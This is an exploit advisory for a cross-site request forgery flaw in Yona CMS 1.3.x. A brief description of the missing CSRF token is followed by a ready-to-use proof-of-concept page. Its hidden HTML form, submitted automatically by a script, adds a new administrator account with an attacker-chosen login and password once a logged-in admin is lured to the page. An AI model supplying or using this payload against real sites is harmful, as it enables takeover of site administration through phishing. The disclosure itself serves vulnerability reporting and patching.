Yona CMS – Cross-Site Request Forgery
<!-- # Exploit Title: Yona CMS <= 1.3.x Remote Admin Add CSRF Exploit # Exploit Author: s0nk3y # Google Dork: - # Date: 21/06/2016 # Vendor Homepage: http://yonacms.com # Software Link: https://github.com/oleksandr-torosh/yona-cms/ # Version: 1.3.x # Tested on: Ubuntu 16.04 Yona CMS is vulnerable to CSRF attack (No CSRF token in place) meaning that if an admin user can be tricked to visit a crafted URL created by attacker (via spear phishing/social engineering), a form will be submitted to (http://localhost/admin/admin-user/add) that will add a new user as administrator. Once exploited, the attacker can login to the admin panel ( http://localhost/admin) using the username and the password he posted in the form. CSRF PoC Code ============= --> <form method="post" action="http://localhost/admin/admin-user/add"> <input type="hidden" name="login" value="attacker"/> <input type="hidden" name="email" value="attacker@email.com"/> <input type="hidden" name="name" value="attacker"/> <input type="hidden" name="role" value="admin"/> <input type="hidden" name="password" value="attackerPassword"/> <input type="hidden" name="active"/> </form> <script> document.forms[0].submit(); </script> |